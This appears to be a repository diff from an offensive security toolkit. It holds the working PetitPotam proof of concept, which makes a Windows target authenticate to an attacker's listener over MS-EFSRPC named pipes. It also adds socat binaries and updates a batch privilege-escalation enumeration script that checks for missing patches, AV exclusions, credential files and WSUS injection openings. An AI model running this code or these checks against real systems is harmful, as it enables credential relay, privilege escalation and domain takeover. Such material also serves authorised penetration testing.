class EfsRpcFileKeyInfoExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
opnum = 18
structure = (
('FileName', WSTR),
)
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
opnum = 19
structure = (
('FileName', WSTR),
('OldEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
)
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileExSrv(NDRCALL):
opnum = 21
structure = (
('FileName', WSTR),
('ProtectorDescriptor', WSTR),
('Flags', ULONG),
)
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
#class EfsRpcQueryProtectors(NDRCALL):
# opnum = 21
# structure = (
# ('FileName', WSTR),
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
# )
#class EfsRpcQueryProtectorsResponse(NDRCALL):
# structure = (
# ('ErrorCode', ULONG),
# )
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
}
class CoerceAuth():
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
binding_params = {
'lsarpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'efsr': {
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
},
'samr': {
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'lsass': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'netlogon': {
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
if targetIp:
rpctransport.setRemoteHost(targetIp)
dce = rpctransport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
try:
dce.connect()
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Connected!")
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Successfully bound!")
return dce
def EfsRpcOpenFileRaw(self, dce, listener):
print("[-] Sending EfsRpcOpenFileRaw!")
try:
request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0
#request.dump()
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
#sys.exit()
return None
if str(e).find('rpc_s_access_denied') >= 0:
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
print('[+] OK! Using unpatched function!')
print("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
pass
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
def main():
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
parser.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
parser.add_argument('listener', help='ip address or hostname of listener')
parser.add_argument('target', help='ip address or hostname of target')
options = parser.parse_args()
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
print(show_banner)
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")
plop = CoerceAuth()
if options.pipe == "all":
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
else:
all_pipes = [options.pipe]
for all_pipe in all_pipes:
print("Trying pipe", all_pipe)
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
if dce is not None:
plop.EfsRpcOpenFileRaw(dce, options.listener)
dce.disconnect()
sys.exit()
if __name__ == '__main__':
main()

View File

Binary file not shown.

View File

File diff suppressed because one or more lines are too long

View File

Binary file not shown.

View File

Binary file not shown.

BIN
win/socat.exe Normal file
View File

Binary file not shown.

BIN
win/socat64.exe Normal file
View File

Binary file not shown.

View File

@@ -63,63 +63,68 @@ ECHO.
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO" CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS" CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits
systeminfo systeminfo
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
:ListHotFixes :ListHotFixes
where wmic >nul 2>&1
if %errorlevel% equ 0 (
wmic qfe get Caption,Description,HotFixID,InstalledOn | more wmic qfe get Caption,Description,HotFixID,InstalledOn | more
) else (
powershell -command "Get-HotFix | Format-Table -AutoSize"
)
set expl=no set expl=no
for /f "tokens=3-9" %%a in ('systeminfo') do (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes) for /f "tokens=3-9" %%a in ('systeminfo') do (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes)
IF "%expl%" == "yes" ECHO. [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat) IF "%expl%" == "yes" ECHO. [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2592799" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2592799" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3143141" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2393802" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2393802" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB982799" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB982799" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB979683" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB979683" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2305420" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2305420" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB981957" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB981957" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4013081" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB4013081" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB977165" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB977165" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB941693" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB941693" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB920958" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB920958" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB914389" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB914389" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB908523" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB908523" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB890859" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB890859" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB842526" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB842526" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB835732" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB835732" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB841872" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB841872" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2975684" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2975684" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3136041" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3057191" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3057191" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2989935" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2989935" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2778930" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2778930" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2850851" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2850851" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2870008" 1>NUL IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2870008" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu) IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu)
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -147,12 +152,20 @@ ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
:LAPSInstallCheck :LAPSInstallCheck
CALL :ColorLine " %E%33m[+]%E%97m LAPS installed?" CALL :ColorLine " %E%33m[+]%E%97m Legacy Microsoft LAPS installed?"
ECHO. [i] Check what is being logged ECHO. [i] Check what is being logged
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
:WindowsLAPSInstallCheck
CALL :ColorLine " %E%33m[+]%E%97m Windows LAPS installed?"
ECHO. [i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies\LAPS" /v BackupDirectory 2>nul
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\LAPS" /v BackupDirectory 2>nul
ECHO.
CALL :T_Progress 1
:LSAProtectionCheck :LSAProtectionCheck
CALL :ColorLine " %E%33m[+]%E%97m LSA protection?" CALL :ColorLine " %E%33m[+]%E%97m LSA protection?"
ECHO. [i] Active if "1" ECHO. [i] Active if "1"
@@ -182,14 +195,19 @@ CALL :T_Progress 1
:UACSettings :UACSettings
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings" CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
:AVSettings :AVSettings
CALL :ColorLine " %E%33m[+]%E%97m Registered Anti-Virus(AV)" CALL :ColorLine " %E%33m[+]%E%97m Registered Anti-Virus(AV)"
where wmic >nul 2>&1
if %errorlevel% equ 0 (
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
) else (
powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
)
ECHO.Checking for defender whitelisted PATHS ECHO.Checking for defender whitelisted PATHS
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul
CALL :T_Progress 1 CALL :T_Progress 1
@@ -218,7 +236,12 @@ CALL :T_Progress 3
:MountedDisks :MountedDisks
CALL :ColorLine " %E%33m[+]%E%97m MOUNTED DISKS" CALL :ColorLine " %E%33m[+]%E%97m MOUNTED DISKS"
ECHO. [i] Maybe you find something interesting ECHO. [i] Maybe you find something interesting
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) where wmic >nul 2>&1
if %errorlevel% equ 0 (
wmic logicaldisk get caption | more
) else (
fsutil fsinfo drives
)
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -233,7 +256,7 @@ CALL :T_Progress 1
:InstalledSoftware :InstalledSoftware
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE" CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications
ECHO. ECHO.
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\" reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
@@ -244,7 +267,7 @@ CALL :T_Progress 2
:RemodeDeskCredMgr :RemodeDeskCredMgr
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager" CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -252,7 +275,7 @@ CALL :T_Progress 1
:WSUS :WSUS
CALL :ColorLine " %E%33m[+]%E%97m WSUS" CALL :ColorLine " %E%33m[+]%E%97m WSUS"
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit) ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
